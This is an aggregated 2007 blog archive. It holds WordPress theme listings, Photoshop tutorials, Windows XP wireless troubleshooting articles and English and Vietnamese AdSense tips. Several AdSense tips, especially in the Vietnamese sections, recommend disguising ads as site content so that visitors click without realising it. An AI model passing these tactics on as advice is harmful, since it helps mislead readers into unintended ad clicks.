Service Networks

Theme Wordpress - 1

2007-10-31T02:41:00.000-07:00

WordPress Free Theme .

Best free templates for WordPress blogs. Download quality and professional WordPress themes for free.

Livegreen Theme

Free WordPress Theme : Thinking

2 Columns
Adsense Ready
Social Bookmarking Ready
Widget Ready
SEO Plugins

Thinking Live Demo.

Download Thinking.

Free WordPress Theme : Pristine 1.0

3 Columns
Adsense Ready
Widget Ready

Pristine 1.0 Live Demo.

Download Pristine1.0.

Tranquility

Right Sidebar
Fixed Width
Widget Ready

Tranquility: Preview

Tranquility: Download

Smoothdeal

3 Columns
Fixed Width
Widget Ready

Smoothdeal: Preview
Smoothdeal: Download

Create a smoldering candle animation effect

2007-10-26T04:51:00.000-07:00

[1]- First of all open a new document size 400x400 pixel

96 resolution, RGBcolor mode,

[2]- Now create a new Layer1 from
the Layer palette as shown below

[3]- Now select the Linear Gradient tool
As shown below and choose the color
Gray and white

[4]- Fill the color help by
the Gradient tool .Now
press the Ctrl+D to deselect

[5]- Now create a new shape help by the Pen tool
after that fill the color with Gradient tool. Now
select the Brush tool now select the Black color
and Red color in the Forground color and
Background color from the Tool bar .
Now create a new shape , look below

[6]- Now create a new Layer2
from the Layer palette

[7]- Now create a new shape
help by the Brush tool.

[8]- Now double click on this layer2
and select the Pattern Overlay from
the Layer Style and use the following settings

[9]- Reduce Opacity 50%
to the Layer2

[10]- Your image should look like this

[11]- Now click on this icon
Edit in ImageReady from the
Tool bar. As shown below

[12]- Animation Window should look like this

[13]- Now click on icon to the Duplicate
Current Frame , as shown below
by the hand sign

[14]- Now double click on the layer2 and select
the Pattern Overlay now use the following settings

[15]- Now select the Frame1 and now
click on this icon TWEEN as shown below

[16]- Now use following settings
from the Tween as shown below

[17]- Your animated Candle
has been completed .
Now go to Filter>Save Optimized

Photoshop Tutorial New idea for logos text or banner design using texture pattern in photoshop

2007-10-26T04:47:00.000-07:00

New idea for logos text or banner design using texture pattern in photoshop

Summary:
Adobe cs2 Free hands on photoshop training on the web � cool bright idea of making a unique logo textFree Hands on Training photoshop tutorial on the web � create unique banner or sale content button for website with this text effect.

Free photoshop tutorial how we can create unique text effect for logos or website banner. how to use texture pattern feature in photoshop.

So, I am writing following steps with the help of
which you can also easily give Choco-Effect on Text

Lets read and understand very carefully of following steps

[1]-First of open new document of Custom size, 400x400 Pixels
Resolution 72 and Mode RGB Color as shown below

[2]-Now select these colours for Forground
and Background and fill by the press Alt+Backspace

[3]-Now select Text Tool
and write words as shown below

[4]-Now select Text Laye and Click on Sign 'f '
which is indicating by finger sign as shown below

[5]-Now select Drop Shadow
and apply the following settings

[6]-Now select Outer Glow
and use the following settings

[7]-Now select Inner Glow
and use the following settings

[8]-Now select Bevel & Emboss
and apply the following settings

[9]-Now select Contour
and apply the following settings

[10]-Now select Texture
and use the following settings

[11]-Now select Stroke and
use the following settings

[12]-After used the above setting
your Text will be look like this.

[13]-Now select Marquee Tool and Press Ctrl+T
for Transform the words as shown below

[14]-Now Press the Ctrl+J for making the Copy
of the Layer and select Original Text Layer
as shown below

[15]-Now Go to Layer Pallete and Click
on Left Bottom sign 'f ' to Open the Layer Style

[16]-In Layer Style select Drop Shadow
and apply the following settings

[17]-Now select Texture and
use the following settings

[18]-Now go to Filter>Blur >Motion Blur
and use the following settings

[19]-Now you have to adjust Text by
the help of Pick Tool as shown below

[20]-Now select Background Layer and
go to Filter>Noise>Add Noise
and use the following settings

[21]-Now go to Filter>Blur>Motion Blur
and use the following settings

[22]-Now Go to Filter>Distort>Shear
and use the following settings

[23]-Now all setttings have been completed and
your Text will be look as shown below

Create a pillow style web button for your free website template

2007-10-26T04:44:00.000-07:00

[1]- First of all take new documet size 392x285 pixel

and with white background now select the
Custom shape tool and choose hance pillow shape.

[2]- Create a new shape with the Custom shape tool
and select the pen tool after that right click and select
the make selection as shown below

[3]- Make a new Layer1 from
the Layer window.

[4]- Fill with any nice color with Alt+Backspace
here I have selected Blue color

[5]- Now double click on this Layer1
and select the Bevel and Emboss
from the Layer window, do not click ok

[6]- Now select the Drop Shadow from
the layer style and use the settings below

[7]- Now select the Patteen Overlay
and use the following settings

[8]- Now again Select the Inner Glow
and use the following settings.
Now you can click ok

[9]- Your image has been completed.

Learn to draw a head phone for a sound system website

2007-10-26T04:40:00.000-07:00

[1]- First of all open a new document

size 400x400 pixelRGB color mode.

[2]- Now create a new shape help by the
Rectangular marquee tool as shown below

[3]- Create a new Layer1
from the Layer palette

[4]- Fill the Black color help by the Alt+Backspace
now press the Ctrl+D to deselect

[5]- Now go to Filter>Distort>Polar Coordinates
and use the following settings

[6]- Now select the Move tool and
Press the Ctrl+T now right click
and select the Flip Vertical

[7]- Double click on this layer1
and select the Satin from the
layer style now use the settings below

[8]- Now your image should lool like this

[9]-Select the Elliptical marquee
tool with Add to selection.

[10]- Create a new layer2
from the layer palette

[11]- Create a new shape
help by the Marquee tool

[12]- Fill the Gray and white color
help by the Radial Gradient tool

[13]- Now your image
should look like this

[14]- Press the Ctrl+J and
drag it shape help by the
Move tool Now press the Ctrl+T
and right click noe select the
Flip Horizontal after
that Press the Enter key

[15]- Double click on this Layer1
after that Layer2 and select the
Drop Shadow now use the settings below

[16]- Your image should look like this

[17]- Type any compny name help by the
Text tool as shown below And now your
image has been completed

Wireless Networking - Your questions answered!

2007-10-26T02:41:00.000-07:00

This article is dedicated to answering a selection of the questions I received from WindowsNetworking.com readers by e-mail. Unfortunately I do not have time to answer all of your e-mails individually so I have decided to do so here in the form of an article for everyone's benefit. I have left out all the unnecessary information and just extracted the main points and the question itself, rather than the whole e-mail message.
Frequent wireless disconnections on Windows XP

“My windows machine is always disconnecting from the wireless network after some time. Then I have to restart my PC in order to get a new connection. I've read somewhere that windows looks up every few minutes for available access points and tries to connect to the strongest one but I don't know how to disable this behaviour. Do you have any idea?”

Windows XP comes with a utility called Wireless Zero Configuration (WZC) that runs as a service and is intended to make connecting to an access point much easier, by continuously searching for access points in range. This behaviour may cause random disconnections on your wireless network.

To correct this you will have to disable the WZC service and use another wireless management program, such as the one that comes with your wireless network adapter. Refer to the software help files or user manual for information on how to install and configure it.

Note:
By default, the WZC service is started automatically every time you load Windows.

To prevent the WZC service from starting, open the services console (type services.msc in the Run box and press OK) and double click the Wireless Zero Configuration service to display the properties dialog.

Select Disabled as a Startup type, press the Stop button and click OK.

Once you have stopped and disabled the service, it will never bother you again.

Windows will no longer search for available access points using the WZC service, so frequent disconnections should be a thing of the past!

Wireless USB2 adapter speed

“I recently bought a wireless USB2 adapter which I use with my Linksys B wireless router. Strangely enough, when I restart, the computer detects it as 11mbps, rather than the normal 54mbps. Any ideas?”

You mentioned that you have a Linksys B wireless router – this product range runs at 11mbps. Also, your laptop/desktop PC (wherever you plug the adapter into) has to have USB2 otherwise the adapter will only work at 11mbps.

Wireless network with firewall

“I’ve a wireless laptop and desktop computer. The laptop runs windows XP Pro while the desktop has XP Home. I understand that the firewall on both PCs has to be off for this to work. Is this true?”

No. All you have to do is configure your firewall software to recognize your network as a trusted LAN. You should always keep the firewall enabled. A misconfigured firewall is a common cause of network problems, with many people forgetting to give ports and/or programs the access they need to communicate over the network.

Making my USB printer wireless

“I have a USB printer. Is there some way to make it wireless without buying a new one?”

Yes, there is indeed. You would need to purchase a Wireless USB Printer Adapter - 802.11b/g or Bluetooth - and simply connect it to the USB port of your printer. If you already have a wireless network in place, this is all you need; otherwise you’d have to get a Bluetooth dongle or 802.11b/g card for your PC too.

WLAN light always flickers

“The WLAN light on my router constantly flickers, even when I don’t use it, is there a reason for this? I’m afraid I am being attacked by a hacker or something.”

There sure is a reason! Don’t worry, an access point regularly transmits beacon frames (similar to network packets) to announce its existence to any potential clients. Hence, there is always going to be outgoing traffic from your router, even when you are not using it.

File sharing problem

“I have just bought a Netgear DG834GT 108MBPS wireless router which came with a USB2 wireless adapter. I have set up the internet with it fine and I now have a computer sharing the internet wirelessly from the router and one connected directly to the router by an Ethernet cable. I cannot work out how to transfer files between the two computers using the wireless network or how to share a printer that is connected to the computer that is connected to the router via Ethernet. Any help on this would be appreciated. There just doesn’t seem to be an option to do this on windows. Both computers are running on Win XP Pro SP2.”

Treat your wireless network as if it was a wired one. On the wireless client, add a printer from the Printers & Faxes window (in Control Panel) and for file sharing make sure you have Microsoft File and Printer Sharing enabled on the wireless clients' connection (My Network Places > Properties). Be sure to implement a method of security otherwise anyone within your wireless network range can gain access to your files. From the run box (Start...) type \\computer_name or \\ip_address and see if anything comes up (it may take a while). Also check that the wireless client and desktop computer can ping each other.

How to reset router settings

“So my question is: how do you reset the router so that the router goes back to its original settings and factory firmware? It seems that every time I try to do it, the firmware doesn’t change“

I wouldn’t really recommend resetting your firmware as newer versions usually contain bug fixes and general updates, some of which may be security related. Firmware is the software that runs on the router and the user configurations are the settings that can be changed from the user interface.

The firmware can be changed by reloading to an earlier version. Resetting firmware is not possible; you will have to ‘re-install’ it. However, the user configuration can be reset to the default settings by using the web-based configuration interface or by pressing the Reset button on the back of the router.

ICS Problem with wireless

“I setup an ad-hoc connection with ICS and file sharing on my wireless laptop (XP Professional) and desktop PC (XP Home). The problem is that the internet doesn’t work. I keep getting the “unable to display” error or whatever it is. I tried turning off firewalls and changing Internet Explorer settings but still no luck. Please help!”

You probably have your client PC set with a manual IP address. Try changing this to automatic (from TCP/IP properties of your network connection) and see what happens. ICS comes with a small built-in DHCP server that assigns IP Addresses automatically to ICS clients.

Conclusion

This article should complement my previous article entitled “Troubleshooting Wireless Network Connections”. I have tried to vary the selected e-mails as much as possible so that more areas are covered.

Whenever you have a problem, never give up - 99% of the time there is a solution! The hardware/software manufacturer’s website or user manual should be your first point of reference. Check that you have followed all the instructions. You’d be surprised at how most of the time the problem you are experiencing is something so minor you’ll wonder how you have failed to miss it!

Troubleshooting Wireless Network Connections

2007-10-26T02:40:00.000-07:00

In this article we will look at how to tackle some common wireless network problems that people come across. This document will outline the steps you should take if you encounter one of the mentioned issues.
Check the wires and wireless network adapter

Checking that all your wires are plugged in at the router and from the plug is one of the first things you should do – provided of course that you have access to them. Verify that the power cord is connected and that all the lights of the router and cable/DSL modem are on. This may seem like a ridiculous suggestion but you should never disregard the obvious. You’d be surprised at how your configuration can be perfect, and after a while of playing around with settings you realize that the network cable leading from the router to the cable modem has come undone slightly.

You will also want to check that your wireless network adapter is switched on. Some laptops come with a small blue or red button on the side while others require you to enable it from the operating system. In Windows, go to device manager and check that your wireless network adapter is enabled. If you have a PCMCIA or USB wireless adapter try removing it and then re-inserting it while Windows is running so it will re-detect it. The lights on the adapter give an indication of whether there is a problem. On mine, I have two lights; one is orange to signify that the PCMCIA card has power and the other is green to show if a connection has been established. A blinking green light means that I am not in range of a wireless access point or there is a problem with connectivity, whereas a stable light means a connection has been established successfully. Take a look at your device documentation as these sorts of details will vary with each product.

Driver Compatibility

It is important to make sure that you have installed the correct device driver for your wireless network adapter. This can cause all sorts of problems or your adapter not to function at all. A friend of mine recently set up his own wireless network at home but complained to me that his wireless network connection was going “crazy”. Upon inspection I realized that he had configured his router properly but installed the 5v instead of the 3v driver on his laptop PCMCIA network card. Once the correct driver was installed, everything began to run smoothly. It just goes to show how even the smallest detail can make all the difference so make sure you have the correct driver installed!

Low Signal Strength

There are a number of factors that can cause the signal of your access point to deteriorate and the performance of your network to fall under par. Practically any appliance that operates on the same frequency level (2.4 GHz) as 802.11b or 802.11g can cause interference with your wireless network. Be sure to keep cordless phones, microwaves and other electrical equipment at least 1m away from the access point. Try changing channels on the access point and test it out on one of the clients. To change the radio channel on the access point login to the configuration (usually a web based interface) and go to the Wireless Settings (will vary depending on vendor) section, select a different channel and save settings. On the client, go to Device Manager, right click your wireless network adapter and go to Properties. In the advanced tab select the Channel Property and change the Value to the same number as the one you chose on the Access Point. Disable and then re-enable the wireless connection.

Access Point Location

You may also want to try changing the position of your access point antenna to improve performance. Play around with its position and see if you notice a difference. I find that if I point the antenna sideways or downwards I have better reception on the floor below. The following images demonstrate what I mean.

Antenna pointing upwards (default)

Antenna pointing sideways

The location of your access point is vital. Try and place it in a central location, as much as possible avoiding physical obstructions and reflective surfaces. Remember that wireless signals bounce of windows and mirrors, thus decreasing the range. Experiment with different locations until you find one that is practical and promising. Most people, including myself, like placing it near the ceiling since most obstructions are nearer to the floor.

It’s always a good idea to monitor the performance of your signal by using a diagnostic utility. This will help you to identify how strong your signal is in different locations and whether other electrical equipment is interfering. Run the utility when the microwave or cordless phone is in use and see if you notice a difference. Usually your access point will come with its own monitoring utility.

Installing a repeater for a performance boost

If you’re looking for a boost you can always choose to install a repeater. The job of a repeater is to receive the signal, regenerate it and rebroadcast it therefore extending the range of your wireless network. This would sit somewhere between your Access Point and your wireless client. Some repeaters, like the Range Expander series from LinkSys, don’t require it to be directly connected to the network via a cable. However, if security is an issue for you then be careful as some of these ignore certain security methods such as MAC address filtering. Also, some repeaters will only repeat wireless signals coming from its own product family, i.e.: if you have a D-Link Wireless Router you will have to get a D-Link repeater. The image below demonstrates the job of a repeater.

The Access Point transmits the signal. As it travels it decreases, until it hits the repeater and gets boosted. The newly transmitted signal is then received by an in-range wireless client.

Changing the Antenna

Changing the antenna of your access point can increase signal range and overall performance. Typical access points come with a 2dB or 4dB gain antenna but there are one’s available with 8, 14 and even 24dB. Antenna gain is measured in dBi (decibels-isotropic) which basically means how powerful the antenna is and how far it can provide a signal. Directional antennas are suitable for environments where you have a direct line of site from one access point to another and from access point to client; the signal travels in a straight line. Omni-Directional antennas distribute their signal in a circular 360 degrees motion over a horizontal pane, which is ideal for square areas.

Install Windows XP SP2

If you are using Windows XP on your wireless client - as I’m sure most of you are – installing Service Pack 2 would be a good idea. Check the Microsoft Website for download details. Windows XP Service Pack 2 comes with enhanced wireless support such as a new network setup wizard, built in support for WPA (Wi-Fi Protected Access), an updated Wireless Network Connection dialog box and amongst others, a rather nifty repair feature.

To utilize the repair feature all you have to do is right click the connection and select Repair or click the button on the support tab of the status dialog box. This will disable and then re-enable the connection (which clears many of the error conditions on wireless network adapters), clear the NetBT cache and flush the DNS cache. I often find that if my connection signal becomes low after a long period of activity, pressing the Repair button will boost it up to “Good” or “Very Good” depending on my location.

Network Settings

DHCP Addresses

DHCP configuration errors may also cause problems when connecting to a wireless network. Some of the newer access points on the market come with their own DHCP server which usually assigns addresses in the 192.168.0.x range. If your wired network uses a different range then you will probably find that wireless network clients are able to obtain an IP address and ping the access point but communication with other clients will not work. Your access point configuration interface should allow you to set which address scope to use. Set this to be the same as that of your other clients. You can also just disable the DHCP server on the access point and allow clients to obtain an address from the normal DHCP Server on your network.

Encryption Keys

Double check and re-enter your WEP/WPA encryption keys. Wireless Encryption will vary depending on which type of network you are connecting to. In Windows XP, on the Association tab of your wireless network properties dialog box, verify that your network key has been entered correctly and is valid for the network you are attempting to connect to.

MAC Address Filters

A great form of security to allow restricted access to your network. As I had explained in An Introduction to Wireless Networking Part 1, MAC Address Filters are a list of MAC addresses belonging to the clients that are allowed access to the network. This will only permit clients with the specified MAC Addresses to communicate with the network. Having said this, it may be the reason to your problem. Verify that the problematic client’s MAC is in the address list. If the network card had to be changed or a new device purchased recently, be sure to add it to the list.

Conclusion

After having read this article you should be familiar with common wireless network connections problems and what you can do to fix them. I hope that you will now be able to follow these steps when a wireless problem occurs and take the necessary action in solving such issues. Look out for Part 3 of my Introduction to wireless networking series in which I will take a closer look at security, give you some wireless network tips and tricks and also update you on the latest wireless networking news.

2007-10-26T02:24:00.000-07:00

Recently, a lot of people have asked me about how much I earn from this blog and what kind of traffic do I get. The frequency of such questions increased exponentially following the ban of Indian blogs, which in a way, helped in raising blog awareness in India.

Maybe, their interest in my web income and site stats stems from the fact that I quit my regular day job with a software company to become a full time blogger.

Before I discuss my figures and stats, let me share an interesting related story published today on Washington Post [mirror] that talks about a few websites making a fortune with Adsense:

» Andrew Leyden of PodcastDirectory.com receives nearly a million hits and makes around $30,000 to $40,000.

» Freeweblayouts.net owners make $100,000 a month from a site that provides readymade web design templates for MySpace.com

» SeatGuru sites gets 700,000 visitors a month and makes about $10,000 to $20,000 a month from Adsense alone.

OK, back to my numbers. I am not very comfortable revealing the exact earnings data in public but still I will try to share whatever possible:

» Digital Inspiration blog gets around 1.25 million hits per month with a majority originating from Google followed by direct traffic (like bookmarks, rss feeds, etc)

» The maximum site traffic comes from four countries - US, India, UK and Australia (in the same order)

» A majority of monthly income is from Adsense but I do make some extra money from Chitika, Feedburner Ads, Direct Advertising and Blog Consulting [via paypal].

» Firefox referrals have also been a good source of revenue though I did not have much success with Picasa software. I never tried Adsense or Adwords referrals.

» While it may be tough for me to write down the actual Adsense earnings data here, you can make some good guesses from the WashingtonPost story mentioned above.

» Alexa Traffic Rank for this blog is 7,637.

» Google Blogger Team added Digital Inspiration to Blogs of Note on July 25, 2006.

» Technorati, which tracks 50 million blogs, rank this site at number 936 while the BlogPulse Rank is 233. Also, ~4500 users have subscribed to the XML Feeds [Feedburner+Atom].

Adsense Tips, Layout Optimization Tricks for Higher CTR

2007-10-26T02:21:00.000-07:00

Google Adsense is perhaps the easiest way to attract advertisers from across the globe to your blog. Just submit your blog to Google for approval. If Google likes what it sees, it will place contextual ads linking to products likely to appeal to the readers. Each time a reader clicks a link, the advertiser pays Google a small fee, and Google splits that with you.

The next interesting question - How to Make Money with Google Adsense ? Here are The best Google Adsense Tips and Tricks for making more money (profit) from Google adsense program.

a. Strictly follow the rules mentioned in Adsense policies. You will always earn more revenue from Adsense by playing it clean.

b. Never modify the Google Adsense HTML code.

c. Don't ask your friends or visitors to click on your Google ads. Do not include incentives of any kind for users to click on ads. Don't label the Google ads with text other than "sponsored links" or "advertisements.".

d. Don't click on your own ads - Google is much smarter than you think. You should not reload your pages excessively. If you are testing your website layout with Google adsense, follow some precautions. Or you can use the unofficial Google Adsense Sandbox Tool that is accessible from Firefox, IE and other browsers to see what kind of Google ads will be served based on content (website address URL) or keywords.

e. Don't place ads in pop-up windows, error pages or even empty pages.

f. Don't start a "adsense asbestos" or "home equity loan rates" website merely to make money from accidental clicks (accidence). You will never make money out these "made-for-adsense-only" websites. Instead, write on topics what you are passionate about. Don't waste your money on high-paying adsense keywords lists.

g. For short articles, CTR is best when ads are placed just above the content

h. For long articles, CTR improves if ads are placed somewhere in middle of the content - visitors read the long content and then they are looking for more resources.

i. Use Text Ads instead of Image Ads as users get more options. If you still want to display image ads, consider ad formats that support image ads - Choose either the 300x250 medium rectangle or the 160x600 wide skyscraper - or both, if you display multiple ad units on a page.

j. Google Ads without background color and borders always perform better. Make the border color and background color same as your page background color.

k. Always put ads above the main fold. Make sure that the ad unit with the highest clickthrough rate is the first instance of the ad code that appears in the HTML. Since the first ad unit is always filled before the rest, you want to make sure that ad unit is located in the best placement on your page.

l. Try setting the ad link URL color to a lighter shade. If your text is black, you may make the adlink as light gray.

m. Go Wide - The large rectangle is the best paying adsense format (336x280) - The Google Adsense Publisher team also feels that the best formats are the wider ones - the ad formats that contain the widest individual ads. Try using the 336x280 large rectangle, 300x250 medium rectangle, or 160x600 wide skyscraper.

n. Placing images next to ads or above ads does help in attracting user attention.

o. Blend AdLinks with other navigation links or place horizontal adlinks at the top of your webpage. AdSense publishers are permitted to click on link unit topics on their web pages, provided that they do not click on any Google ads on the resulting page.

p. Organize an Adsense Party for your friends and colleagues - Request them to navigate your website, watch their activity - it will provide vital clues about which regions on your website draw more user attention. Try putting ads near those areas. (Thanks Darren)

q. You can put upto 3 adsense units on a page. Try putting a large skyscraper on the right navigation sidebar of your website. That area is close to the browser scrollbar. You can also add 2 AdSense for search boxes, 1 adlink unit and 1 referral button per product (i.e., 1 AdSense referral button and 1 Firefox plus Google Toolbar referral button).

r. The first few lines of your content are an important factor for determining what Ads are served on your webpage. That's the right place to put keywords in bold (strong or &ltb> tags) or header tags (h1, h2, etc).

s. Always select the setting to open Google Adsense search box results in a new browser window, so you won't lose your visitors. Click the Open search results in a new browser window checkbox and this add target="google_window" to your form tag.

t. Maximum people think the search box is on the top right corner. So you know where to put it.

u. Don't syndicate full content. If people can read everything from the newsreader window itself, why would they visit your website where your ads are.

v. Use URL channels to determine performance of individual pages. I track my most popular pages with Google Analytics, Statcounter and create a channel for each of the URL. You can even track Adsense Clicks with Analytics

w. For low CTR pages, try changing titles or adding more content to get better focused ads

x. Block low paying advertisers with Filters. Why to loose a visitor for 0.01 cents. Use Overture or Google Adwords Keywords tool to discover keywords that are less popular with advertisers.

y. The AdSense for search Top Queries report shows you what your users are looking for, by listing the 25 most common searches conducted through your AdSense for search boxes. Use this report to identify additional topics to add to your site, or to keep track of your most sought-after information. Focus and improve that content.

z. Not everyone has a RSS reader. Use RSS to Email services like FeedBlitz, Bloglet or Rmail to let users subscribe to your blog by email.

Remember, you are the best judge when it comes to choosing ad formats. Even Google doesn't offer the best advise always. For instance, in the visual heat map, Google suggests that webmasters are best served by positioning ads on the upper left-hand side of a Web page. But on the Google homepage, you will find ads on the far right.

Related Links
Display only relevant Google Ads in Blogs
Google Adsense Layout Tips for Maximum Clicks
Guide for Google AdSense Publishers

AdSense is one of the best tools you can use to draw dollars to your site. Remember that there is no easy way to make money on Adsense... it takes a lot of work. Adsense publishers on blogspot.com can integrate Adsense directly from Blogger Interface.

Yahoo Publisher Network YPN and Chitika eMiniMalls offer interesting Adsense alternatives. You can use this free online Sandbox tool to compare Google Adsense, Chitika eMiniMalls and Yahoo Publisher Network (YPN) Program.

Enter any keywords or a website address (URL), choose a geographic location (for Google), customize ad colors or choose from an existing color set and click "Udate Ads Display". You can try the Adsense, YPN or Chitika Services without signing up for any of these services.

5 cách sáng tạo nhất để tăng thu nhập với Adsense

2007-10-26T02:13:00.000-07:00

Nếu các webmasters muốn kiếm tiền từ các website của họ, thì cách tốt nhất là sử dụng Google Adsense. Có rất nhiều webmasters làm viecj không mệt mỏi để kiếm thêm thu nhập nhờ adsense nhưng chỉ có một số người thành công khi thu nhập hàng ngày là vào khoảng vài trăm dollars từ Adsense. Điều gì làm cho họ khác nhau?.

Những ai mới tham gia adsense thường không có kinh nghiệm và thủ thuật nhằm làm gia tăng thu nhập từ chính những quảng cáo mà họ đang sử dụng. Điều này đã từng được nhiều người sủ dụng và thành công trong quá khứ và bây giờ cũng thế.

Dưới đây là 5 cách sang tạo nhất đã được kiểm chứng.

1. Tập trung một một định dạng quảng cáo. Định dạng tốt nhất là Hình vuông cỡ lớn (336×280). Định dạng này có xu hướng làm tăng thêm tỷ lệ click (CTR). Tại sao chỉ chọn một định dạng mà không phải chọn nhiều định dạng? Cơ bản là vì các quảng cáo sẽ trông giống các đường link của trang web hay nội dung của trang đó và do đó họ sẽ ngầm tưởng là một phần của trang và click vào để xem tiếp. Họ có thể biết/không biết mình đang click vào adsense và như vậy là bạn thu được tiền.

2. Tạo màu đặc trưng cho quảng cáo của bạn. Chọn một màu giống màu của trang web. Nếu trang có màu trắng thì nên chọn màu trắng và chọn luôn cả màu trắng cho đường viền. Chính như thế sẽ tăng lượng click trên trang của bạn hơn.

3. Đừng đặt adsense ở cuối trang mà nên đặt trên cùng hoặc cạnh nhưng nội dung chính bắt mắt người dung và đừng bao giờ có ý định che dấu quảng cáo adsense nhằm lừa người khác click. Thay vào đó là đặt ở những nơi dễ thấy nhất. Bạn sẽ ngay lập tức thấy tác dụng của phương pháp này.

4. Duy trì các đường link tới các trang tương ứng. Nêu thấy các trang nào đó tốt thì có thể đặt quảng cáo adsense tại đó và luôn để mắt tới nó. Cố gắng làm sao để người sư dụng khi truy cập website điều đầu tiên mà họ nhìn thấy là quảng cáo adsense nhé.

5. Thử dung phương pháp SSI (nghĩa là chèn mã quảng cáo tự động từ server). Làm như thế nào ư? Lưu code adsense vào một file text rồi upload lên root directory của server. Sau đó gọi cho nó hiển thị trên các trang khác nhau, cách này vừa tiện lợi vừa tiết kiệm thời gian.

Có nhiều tủ thuật làm việc này nhưng quan trọng là các quảng cáo hiển thị có phù hợp với sở thích của người truy cập hay không? Do đó, trang website nên tập trung vào các chủ đề mà mọi người đang quan tâm.

Chú ý một ddiemr là có rất nhiều người đang sử dụng adsense cho những chủ đề giống nhau và ai có khả năng tối ưu hóa các quảng cáo thì người đó sẽ kếm được nhiều tiền. Đây là nhưng thủ thuật mà những ai thành công với adsense đã quyết định chia sẻ như là cẩm nang cho các bạn học tập. Hãy thử xem thế nào, nếu người khác làm được thì tại sao bạn lại không nhỉ?.

Chương trình google adsense là gì?

2007-10-26T02:10:00.000-07:00

Google AdSense là chương trình cho phép đặt quảng cáo của Google trên trang web của bạn. Khi có người nhấn vào quảng cáo, Google sẽ trả tiền cho bạn Bạn chỉ mất một ít thời gian thực hiện và không tốn chút chi phí nào.

Adsense tự động hiển thị quảng cáo chữ hoặc quảng cáo hình liên quan đến nội dung trang web. Và khi bạn đặt ô tìm kiếm trong trang web, Adsense sẽ hiển thị quảng cáo có liên quan trong kết quả tìm kiếm.Bạn có thể hoàn toàn tin tưởng vào chương trình quảng cáo của hãng tìm kiếm nổi tiếng Google.

Tăng đáng kể lợi nhuận

Xem hình thu nhập mẫu

Đơn giản và nhanh chóng

Sau khi điều chỉnh các thông số, bạn chỉ đơn giản copy và paste đoạn code được tạo sẵn vào trang web.

Google hiểu chính xác nội dung trang web

Công nghệ nhận dạng thông minh của Google có thể đoán đúng chủ đề của trang web. Ví dụ một từ có thể có nhiều ý nghĩa, khi đó Google sẽ dựa vào ngữ cảnh để đoán.

Tăng thêm lợi nhuận với ô tìm kiếm Google

Không chỉ giúp khách hàng tìm kiếm trong trang web của bạn, giữ họ ở lại lâu hơn nhờ kết quả tìm kiếm, mà bạn còn được lợi nhờ vào quảng cáo liên quan đến kết quả tìm kiếm.

Tùy biến Adsense phù hợp với trang web

Bạn có thể tùy biến màu sắc của quảng cáo từ bảng màu hay từ các mẫu thiết kế sẵn, chèn logo trang web vào kết quả tìm kiếm, và tùy biến cả báo cáo lợi nhuận cho phù hợp với mục đích công việc.

Những người đã sử dụng nói gì?

Đối tượng sử dụng Adsense không giới hạn về quy mô lẫn lãnh thổ. Chúng tôi xin trích nguyên văn những nhận xét về Adsense của các trang web lớn đã sử dụng qua.

“We’re seeing this impressive new revenue stream without incurring any cost. We’re maximizing our previously unsold inventory, and our revenue per page figure continues to grow.”
- Scott Zucker, Executive VP and COO, Intelligent Content Corp, PetPlace.com

“Instead of spending money to hire an additional sales rep to sell ad banners, Google ads have become a virtual sales tool for us. Now we’re able to reap thousands of dollars in additional advertising revenue each month that we would very likely have missed without Google AdSense.”
- Robert Hoskins, Editor and Group Publisher, Broadband Wireless Exchange

“Google shows targeted ads reflecting the sorts of information and services SeatGuru visitors want. For a small business like mine, this is the best approach to advertising. You set it up easily, it automatically serves relevant ads, and it takes very little of my time.”
- Matt Daimler, Founder, SeatGuru.com

“At the beginning I was very concerned that I might lose traffic to competitors. I only used AdSense on a limited number of the site’s pages, and I watched the stats very carefully. If the traffic, pages per visitor, or conversion rates dropped I knew I could easily pull the ads...Since implementing AdSense, our ad revenue has increased more than tenfold, and 100 percent of my available inventory is now sold through AdSense.”
- Vik Kachoria, Entrepreneur, Real Adventure.

Các mẫu của google adsense

Bạn vào đây để tìm hiểu thêm https://www.google.com/adsense/adformats

Các qui định chung người chơi Google Adsense cần chú ý

2007-10-26T02:08:00.000-07:00

Điều lệ của Google Adsense luôn ghi rõ : Khi chơi đẹp
không cần gian lận bạn sẽ có nguồn thu lớn từ quảng cáo googleLuôn tuân thủ các quy định của Google Adsense, bạn
tuyệt đối không được vi phạm, vì nghĩ đơn giản Google Adsense người ta
chơi nhiều thế quản lý sao nổi, nhận định này là cực kỳ sai lầm vì không
ai tự dưng mở két nhà người ta cho bạn lấy tiền.

Bạn phải làm cho nội dung cái quảng cáo của Google
trông như một phần của cái website của bạn, người ta ghét cái cảm giác
click quảng cáo giúp 1 ai đó thu lợi nhuận, nhưng họ lại muốn tìm kiếm
thông tin hửu ích cho mình.Đừng có tách rời cái quảng cáo Google Adsense
ra, bạn nên làm cho nó với màu link và màu nền trùng với cái web của bạn.Lượng truy cập, bạn đừng có tìm cách qua mặt Google
Adsense với những trò click ảo, vì giải thuật tính toán của nó hết sức
thông minh, bạn hông tin ư.Thời gian, chính là thước đó của giá trị 1 click bao
nhiều đồng, vào site click liền sẽ có giá trị thấp hơn là đọc nội dung
hoặc vài phút sau click. Bởi thế bạn thấy một số site lớn, kinh nghiệm nó
đặt Google Adsense ít nhưng giá trị cao.

Những điều cấm kỵ chỉ nên làm khi
muốn bị treo tài khoản Google Adsense

Không được khuyến khích người ta click vào cái quảng
cáo của Google Adsense dưới mọi hình thức . Google Adsense chỉ chấp nhận 2
dòng text này ở code của họ, bạn không được viết khác đi : “sponsored
links” hoặc “advertisements”.Không bao giờ tự click vào quảng cáo Google Adsense của
bạn, Đừng F5 (refresh) cái site của bạn quá mức, vì Google Adsense không
chấp nhận site đang hoàn thiện, bạn có thể kiểm tra cái code hiển thị thế
nào bằng công cụ Google Adsense Sandbox Tool.Không được dán cái Google Adsense vào pop-up windows,
trang đang lổi hoặc trang trống.Không bao giờ bạn kiếm được nhiều tiền chỉ vì Google
Adsense, hãy đi theo chủ đề bạn có khả năng. Thu nhập Google Adsense
sẽ tự đến với bạn.Không bao giờ thay đổi các đoạn HTML mà Google Adsense
cung cấp cho bạn.Bạn nên làm vài hình ảnh gì đó liên quan đến cái chủ đề
web bạn đang theo đuổi, đặt bên cạnh Google Adsense, làm sao cho người ta
lầm tưởng các mô tả và đường link của Google Adsense là dẩn tới cái nội
dung hình ảnh bạn đang mô tả. (Google cấm dùng).Dòng link trên cùng của bạn, nên làm 1 dòng link của
Google Adsense, nó hay đấy chứ ? ( ).

Những điều cần biết khi đặt Google Adsense chung với Bidvertiser

2007-10-26T02:07:00.001-07:00

